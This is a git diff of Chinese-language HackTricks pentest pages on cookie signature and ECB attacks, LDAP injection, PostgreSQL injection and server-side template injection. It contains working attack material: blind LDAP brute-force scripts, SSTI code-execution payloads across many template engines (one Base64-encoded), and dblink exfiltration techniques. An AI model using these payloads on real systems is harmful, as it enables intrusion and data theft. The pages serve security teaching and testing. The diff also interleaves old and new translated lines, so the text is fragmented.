也许一个 cookie 可以有某个值,并且可以使用 CBC 签名。然后,值的完整性是使用相同值的 CBC 创建的签名。由于建议使用空向量作为 IV,这种完整性检查可能会受到攻击。
|
||||
|
||||
**攻击**
|
||||
|
||||
1. 获取用户名**administ**的签名 = **t**
|
||||
2. 获取用户名**rator\x00\x00\x00 XOR t**的签名 = **t'**
|
||||
3. 在cookie中设置值**administrator+t'**(**t'**将是**(rator\x00\x00\x00 XOR t) XOR t**的有效签名 = **rator\x00\x00\x00**)
|
||||
1. 获取用户名 **administ** 的签名 = **t**
|
||||
2. 获取用户名 **rator\x00\x00\x00 XOR t** 的签名 = **t'**
|
||||
3. 在 cookie 中设置值 **administrator+t'** (**t'** 将是 **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** 的有效签名)
|
||||
|
||||
**ECB**
|
||||
|
||||
如果cookie使用ECB加密,它可能会受到攻击。\
|
||||
当你登录时,收到的cookie必须始终相同。
|
||||
如果 cookie 使用 ECB 加密,则可能会受到攻击。\
|
||||
当您登录时,您收到的 cookie 必须始终相同。
|
||||
|
||||
**如何检测和攻击:**
|
||||
|
||||
创建两个几乎相同数据的用户(用户名、密码、电子邮件等),并尝试发现给定cookie中的某些模式。
|
||||
创建 2 个几乎相同数据的用户(用户名、密码、电子邮件等),并尝试发现给定 cookie 中的某些模式。
|
||||
|
||||
创建一个名为“aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa”的用户,并检查cookie中是否有任何模式(由于ECB使用相同的密钥加密每个块,如果用户名被加密,则相同的加密字节可能会出现)。
|
||||
创建一个名为 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 的用户,并检查 cookie 中是否存在任何模式(由于 ECB 使用相同的密钥加密每个块,如果用户名被加密,则相同的加密字节可能会出现)。
|
||||
|
||||
应该有一个模式(与使用的块的大小相同)。因此,知道一堆“a”是如何加密的,你可以创建一个用户名:“a”*(块的大小)+“admin”。然后,你可以从cookie中删除一个块的“a”的加密模式。你将拥有用户名“admin”的cookie。
|
||||
应该有一个模式(与使用的块的大小相同)。因此,知道一堆 "a" 是如何加密的,您可以创建一个用户名:"a"*(块的大小)+"admin"。然后,您可以从 cookie 中删除一个块的 "a" 的加密模式。您将拥有用户名 "admin" 的 cookie。
|
||||
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
|
@ -43,7 +43,7 @@
|
|||
**或** = |filterlist\
|
||||
**非** = ! filter\
|
||||
**过滤列表** = 1\*filter\
|
||||
**项**= simple / present / substring\
|
||||
**项目**= simple / present / substring\
|
||||
**简单** = attr filtertype assertionvalue\
|
||||
**过滤类型** = _'=' / '\~=' / '>=' / '<='_\
|
||||
**存在** = attr = \*\
|
||||
|
@ -167,7 +167,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
|||
|
||||
#### **发现有效的LDAP字段**
|
||||
|
||||
LDAP对象**默认包含多个属性**,可以用来**保存信息**。你可以尝试**暴力破解所有这些属性以提取信息。** 你可以在[**这里找到默认的LDAP属性列表**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)。
|
||||
LDAP对象**默认包含多个属性**,可以用来**保存信息**。你可以尝试**暴力破解所有这些属性以提取该信息。** 你可以在[**这里找到默认的LDAP属性列表**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)。
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -199,7 +199,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
|
|||
finish = True
|
||||
print()
|
||||
```
|
||||
#### **特殊盲LDAP注入(无“\*”)**
|
||||
#### **特殊盲LDAP注入(不带“\*”)**
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
@ -224,9 +224,9 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -239,7 +239,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
|
@ -25,13 +25,13 @@
|
|||
|
||||
**本页面旨在解释不同的技巧,帮助你利用在 PostgreSQL 数据库中发现的 SQL 注入,并补充你可以在** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **上找到的技巧。**
|
||||
|
||||
## 网络交互 - 权限提升、端口扫描、NTLM 挑战响应泄露与外泄
|
||||
## 网络交互 - 权限提升、端口扫描、NTLM 挑战响应泄露与数据外泄
|
||||
|
||||
**PostgreSQL 模块 `dblink`** 提供了连接其他 PostgreSQL 实例和执行 TCP 连接的能力。这些功能与 `COPY FROM` 功能结合,使得权限提升、端口扫描和 NTLM 挑战响应捕获等操作成为可能。有关执行这些攻击的详细方法,请查看如何 [执行这些攻击](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)。
|
||||
|
||||
### **使用 dblink 和大对象的外泄示例**
|
||||
### **使用 dblink 和大对象的数据外泄示例**
|
||||
|
||||
你可以 [**阅读这个示例**](dblink-lo\_import-data-exfiltration.md) 来查看一个 CTF 示例,**如何在大对象中加载数据,然后在函数 `dblink_connect` 的用户名中外泄大对象的内容**。
|
||||
你可以 [**阅读这个示例**](dblink-lo\_import-data-exfiltration.md) 来查看一个 CTF 示例,**如何在大对象中加载数据,然后在 `dblink_connect` 函数的用户名中外泄大对象的内容**。
|
||||
|
||||
## PostgreSQL 攻击:读/写、RCE、权限提升
|
||||
|
||||
|
@ -65,7 +65,7 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
|
|||
```
|
||||
**database\_to\_xml**
|
||||
|
||||
此函数将整个数据库以 XML 格式转储为一行(如果数据库非常大,请小心,因为您可能会导致 DoS 或甚至影响您自己的客户端):
|
||||
此函数将整个数据库以 XML 格式转储为仅 1 行(如果数据库非常大,请小心,因为您可能会导致 DoS 或甚至影响您自己的客户端):
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
|
@ -87,7 +87,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
|||
|
||||
### 禁止的引号
|
||||
|
||||
如果无法在有效负载中使用引号,可以通过 `CHR` 来绕过这一点,适用于基本子句(_字符连接仅适用于基本查询,如 SELECT、INSERT、DELETE 等。它不适用于所有 SQL 语句_):
|
||||
如果无法在有效负载中使用引号,可以通过 `CHR` 绕过此限制,适用于基本子句(_字符连接仅适用于基本查询,如 SELECT、INSERT、DELETE 等。它不适用于所有 SQL 语句_):
|
||||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
|
@ -97,9 +97,9 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_要求流利的波兰语书写和口语_)。
|
||||
如果你对**黑客职业**感兴趣,并且想要攻克不可攻克的目标 - **我们正在招聘!**(_要求流利的波兰语书写和口语能力_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -112,8 +112,8 @@ SELECT $TAG$hacktricks$TAG$;
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,25 @@
|
|||
# SSTI (Server Side Template Injection)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
|
||||
[https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpe](https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpeg)学习和实践 AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会的 **使命是促进技术知识**,是各个学科的技术和网络安全专业人士的一个热烈交流点。
|
||||
[**RootedCON**](https://www.rootedcon.com) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会的 **使命是促进技术知识**,是各个学科的技术和网络安全专业人士的一个热烈的交流平台。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -29,13 +31,13 @@ Jinja 是一种在 web 应用程序中使用的流行模板引擎。让我们考
|
|||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
在这段脆弱的代码中,用户请求中的 `name` 参数直接通过 `render` 函数传递到模板中。这可能允许攻击者将恶意代码注入到 `name` 参数中,从而导致服务器端模板注入。
|
||||
在这段脆弱的代码中,用户请求中的 `name` 参数被直接传递到模板中,使用 `render` 函数。这可能允许攻击者将恶意代码注入到 `name` 参数中,从而导致服务器端模板注入。
|
||||
|
||||
例如,攻击者可以构造一个包含如下有效负载的请求:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
The payload `{{bad-stuff-here}}` 被注入到 `name` 参数中。这个有效载荷可以包含 Jinja 模板指令,使攻击者能够执行未经授权的代码或操纵模板引擎,从而可能获得对服务器的控制。
|
||||
The payload `{{bad-stuff-here}}` 被注入到 `name` 参数中。这个有效载荷可以包含 Jinja 模板指令,使攻击者能够执行未经授权的代码或操纵模板引擎,从而可能控制服务器。
|
||||
|
||||
为了防止服务器端模板注入漏洞,开发人员应确保在将用户输入插入模板之前,正确地对其进行清理和验证。实施输入验证和使用上下文感知的转义技术可以帮助减轻此漏洞的风险。
|
||||
|
||||
|
@ -46,12 +48,18 @@ The payload `{{bad-stuff-here}}` 被注入到 `name` 参数中。这个有效载
|
|||
* 抛出的错误,揭示漏洞并可能暴露模板引擎。
|
||||
* 反射中缺少有效载荷,或部分缺失,暗示服务器以不同于常规数据的方式处理它。
|
||||
* **明文上下文**:通过检查服务器是否评估模板表达式(例如,`{{7*7}}`,`${7*7}`)来区分 XSS。
|
||||
* **代码上下文**:通过更改输入参数确认漏洞。例如,改变 `http://vulnerable-website.com/?greeting=data.username` 中的 `greeting`,以查看服务器的输出是动态的还是固定的,例如 `greeting=data.username}}hello` 返回用户名。
|
||||
* **代码上下文**:通过更改输入参数确认漏洞。例如,改变 `http://vulnerable-website.com/?greeting=data.username` 中的 `greeting`,查看服务器的输出是动态的还是固定的,比如 `greeting=data.username}}hello` 返回用户名。
|
||||
|
||||
#### 识别阶段
|
||||
|
||||
识别模板引擎涉及分析错误消息或手动测试各种特定语言的有效载荷。常见的导致错误的有效载荷包括 `${7/0}`,`{{7/0}}` 和 `<%= 7/0 %>`。观察服务器对数学运算的响应有助于确定特定的模板引擎。
|
||||
|
||||
#### 通过有效载荷识别
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
* 更多信息请见 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
## 工具
|
||||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
@ -183,7 +191,7 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
|||
|
||||
Thymeleaf 要求这些表达式放置在特定属性中。然而,其他模板位置支持 _表达式内联_,使用语法如 `[[...]]` 或 `[(...)]`。因此,一个简单的 SSTI 测试有效载荷可能看起来像 `[[${7*7}]]`。
|
||||
|
||||
然而,这个有效载荷成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成;模板必须是预定义的。开发者需要实现自己的 `TemplateResolver` 以动态创建字符串模板,这并不常见。
|
||||
然而,这个有效载荷成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成;模板必须是预定义的。开发人员需要实现自己的 `TemplateResolver` 以动态创建字符串模板,这并不常见。
|
||||
|
||||
Thymeleaf 还提供 _表达式预处理_,其中双下划线 (`__...__`) 内的表达式会被预处理。这个特性可以在构建表达式时利用,如 Thymeleaf 文档中所示:
|
||||
```java
|
||||
|
@ -209,7 +217,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
|||
[el-expression-language.md](el-expression-language.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Spring框架 (Java)
|
||||
### Spring 框架 (Java)
|
||||
```java
|
||||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||
```
|
||||
|
@ -269,7 +277,7 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
|||
|
||||
* `{{ someString.toUPPERCASE() }}`
|
||||
|
||||
Pebble 的旧版本(< 版本 3.0.9):
|
||||
Pebble 的旧版本(< 3.0.9):
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
|
@ -330,7 +338,7 @@ Jinjava 是一个由 Hubspot 开发的开源项目,地址为 [https://github.c
|
|||
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
搜索 "com.hubspot.content.hubl.context.TemplateContextRequest" 并发现了 [Jinjava 项目在 Github](https://github.com/HubSpot/jinjava/)。
|
||||
搜索 "com.hubspot.content.hubl.context.TemplateContextRequest" 并发现了 [Jinjava 项目在 Github 上](https://github.com/HubSpot/jinjava/)。
|
||||
```java
|
||||
{{request.isDebug()}}
|
||||
//output: False
|
||||
|
@ -422,9 +430,15 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
|
|||
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
|
||||
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
||||
```
|
||||
### 其他 Java
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
* 更多信息请访问 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的活动之一。该大会 **旨在促进技术知识**,是各个学科的技术和网络安全专业人士的热烈交流平台。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会 **旨在促进技术知识**,是各个学科的技术和网络安全专业人士的热烈交流平台。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -586,6 +600,12 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
|
||||
|
||||
### 其他 PHP
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
|
||||
|
||||
* 更多信息在 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
### Jade (NodeJS)
|
||||
```javascript
|
||||
- var x = root.process
|
||||
|
@ -628,7 +648,7 @@ curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":
|
|||
```
|
||||
* \= 错误
|
||||
* ${7\*7} = ${7\*7}
|
||||
* 没有任何内容
|
||||
* 无内容
|
||||
```java
|
||||
{{#with "s" as |string|}}
|
||||
{{#with "e"}}
|
||||
|
@ -659,12 +679,12 @@ URLencoded:
|
|||
|
||||
### JsRender (NodeJS)
|
||||
|
||||
| **模板** | **描述** |
|
||||
| -------- | ------------------------------------- |
|
||||
| | 评估并渲染输出 |
|
||||
| | 评估并渲染HTML编码输出 |
|
||||
| | 注释 |
|
||||
| 和 | 允许代码(默认禁用) |
|
||||
| **模板** | **描述** |
|
||||
| -------- | --------------------------------- |
|
||||
| | 评估并渲染输出 |
|
||||
| | 评估并渲染HTML编码输出 |
|
||||
| | 注释 |
|
||||
| 和 | 允许代码(默认禁用) |
|
||||
|
||||
* \= 49
|
||||
|
||||
|
@ -709,12 +729,20 @@ home = pugjs.render(injected_page)
|
|||
|
||||
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
|
||||
|
||||
### 其他 NodeJS
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||
|
||||
* 更多信息请访问 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
### ERB (Ruby)
|
||||
|
||||
* `{{7*7}} = {{7*7}}`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = 错误`
|
||||
* `<%= foobar %> = Error`
|
||||
```python
|
||||
<%= system("whoami") %> #Execute code
|
||||
<%= Dir.entries('/') %> #List folder
|
||||
|
@ -740,9 +768,17 @@ home = pugjs.render(injected_page)
|
|||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||||
|
||||
### 其他 Ruby
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
